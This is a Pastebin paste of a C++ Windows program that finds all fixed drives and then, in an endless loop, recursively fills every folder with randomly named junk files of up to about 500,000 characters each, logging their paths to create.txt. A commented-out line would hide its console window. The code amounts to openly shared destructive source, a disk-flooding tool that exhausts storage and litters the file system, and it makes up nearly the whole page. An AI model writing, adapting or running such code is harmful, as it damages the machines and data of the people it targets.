Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #include <windows.h>
- #include <iostream>
- #include <fstream>
- #include <locale>
- using namespace std;
- #pragma comment(linker, "/STACK:16777216")
- #define _WIN32_WINNT 0x0500
- long long int countCreate = 0;
- inline string generateText(int min, int max)
- {
- string text = "";
- int n = min + rand() % (max - min);
- for (int i = 0; i < n; i++)
- text += to_string(i);
- return text;
- }
- inline int scan(string root, string(&folders)[5000])
- {
- //cout << "Scan " << root << endl;
- std::wstring widestr = std::wstring(root.begin(), root.end());
- const wchar_t* widecstr = widestr.c_str();
- WIN32_FIND_DATAW wfd;
- HANDLE const hFind = FindFirstFileW(widecstr, &wfd);
- int count = -1;
- //cout << "Folders:" << endl;
- if (INVALID_HANDLE_VALUE != hFind)
- {
- if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
- {
- if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT))
- {
- do
- {
- count++;
- char ch[260];
- char DefChar = ' ';
- WideCharToMultiByte(CP_ACP, 0, &wfd.cFileName[0], -1, ch, 260, &DefChar, NULL);
- std::string ss(ch);
- folders[count] = ss;
- if (folders[count] == ".")
- {
- count--;
- }
- else if (folders[count] == "..")
- {
- count--;
- }
- else if (folders[count] == "$RECYCLE.BIN")
- {
- count--;
- }
- else if (folders[count] == "System Volume Information")
- {
- count--;
- }
- else if (1)
- {
- for (int i = 0; i < folders[count].length(); i++)
- {
- if (folders[count][i] == '.')
- {
- count--;
- break;
- }
- }
- }
- } while (NULL != FindNextFileW(hFind, &wfd));
- FindClose(hFind);
- /*for (int i = 0; i <= count; i++)
- {
- cout << folders[i] << endl;
- }*/
- }
- }
- }
- return count;
- }
- inline void spam(string root)
- {
- root += "\\*";
- int Number;
- string folders[5000];
- int count = scan(root, folders);
- if (count >= -1)
- {
- string text = generateText(50, 500000);
- char Symvol[1];
- int c = 0;
- root.pop_back();
- for (int i = 0; i<20; i++)
- {
- countCreate++;
- if (countCreate % 500 == 0)
- cout << countCreate << endl;
- c++;
- string temp = "";
- int min = 4, max = 20;
- int n = min + rand() % (max - min);
- for (int i = 0; i < n; i++)
- {
- do {
- Number = rand() % 90 + 65;
- } while (Number >= 127);
- Symvol[0] = Number;
- temp += Symvol[0];
- }
- n = 1 + rand() % (temp.size() - 2);
- temp[n] = '.';
- temp = root + temp;
- //cout << "Create " << temp << endl;
- char charCreate[2048];
- strcpy_s(charCreate, temp.c_str());
- ofstream create; //создаем поток
- create.open("create.txt", ios::in); //говорим в какой файл
- create.seekp(0, ios::end); //перемещаемся в конец файла
- create.write(charCreate, strlen(charCreate)); //Пишем строку
- create << endl; //говорим что конец строки
- create.close(); //закрываем поток
- ofstream in(temp);
- in << text;
- }
- }
- for (int i = 0; i <= count; i++)
- {
- string temp = root;
- root += folders[i];
- spam(root); //stack overflow
- root = temp;
- }
- }
- int main()
- {
- //HWND hWnd = GetConsoleWindow();
- //ShowWindow(hWnd, SW_HIDE);
- SetConsoleCP(1251);
- SetConsoleOutputCP(1251);
- srand(time(NULL));
- ifstream file;
- file.open("create.txt");
- if (!file)
- ofstream createNull("create.txt");
- int ready;
- string disk[40];
- string A_Z[40];
- int countDisk = 0;
- char buf[26];
- GetLogicalDriveStringsA(sizeof(buf), buf);
- char *DRF[] = { "Unknown", "Invalid path", "Removable", "Fixed", "Network drive", "CD-ROM", "RAM disk" };
- for (char *s = buf; *s; s += strlen(s) + 1)
- {
- if (DRF[GetDriveTypeA(s)] == "Fixed")
- {
- countDisk++;
- disk[countDisk] = s;
- disk[countDisk] += "\*";
- }
- }
- for (int i = 0; i <= countDisk; i++)
- cout << disk[i] << endl;
- cout << "You ready? (1 - yes)" << endl;
- cin >> ready;
- if (ready == 1)
- {
- cout << "Really? (52 - yes)" << endl;
- cin >> ready;
- if (ready == 52)
- {
- while (1)
- {
- for (int i = 0; i <= countDisk; i++)
- {
- string root = disk[i];
- //string root = "D:\\*";
- int Number;
- string folders[5000];
- int count = scan(root, folders);
- if (count >= 1)
- {
- string text = generateText(50, 500000);
- char Symvol[1];
- int c = -1;
- root.pop_back();
- for (int i = 0; i<20; i++)
- {
- countCreate++;
- if (countCreate % 500 == 0)
- cout << countCreate << endl;
- c++;
- string temp = "";
- int min = 4, max = 20;
- int n = min + rand() % (max - min);
- for (int i = 0; i < n; i++)
- {
- do {
- Number = rand() % 90 + 65;
- } while (Number >= 127);
- Symvol[0] = Number;
- temp += Symvol[0];
- }
- n = 1 + rand() % (temp.size() - 2);
- temp[n] = '.';
- temp = root + temp;
- //cout << "Create in root " << temp << endl;
- char charCreate[2048];
- strcpy_s(charCreate, temp.c_str());
- ofstream create; //создаем поток
- create.open("create.txt", ios::in); //говорим в какой файл
- create.seekp(0, ios::end); //перемещаемся в конец файла
- create.write(charCreate, strlen(charCreate)); //Пишем строку
- create << endl; //говорим что конец строки
- create.close(); //закрываем поток
- ofstream in(temp);
- in << text;
- try { if (c%count == 0) c = -1; } catch (...) { }
- }
- }
- for (int i = 0; i<=count; i++) {
- string temp = root;
- root += folders[i];
- spam(root);
- root = temp;
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment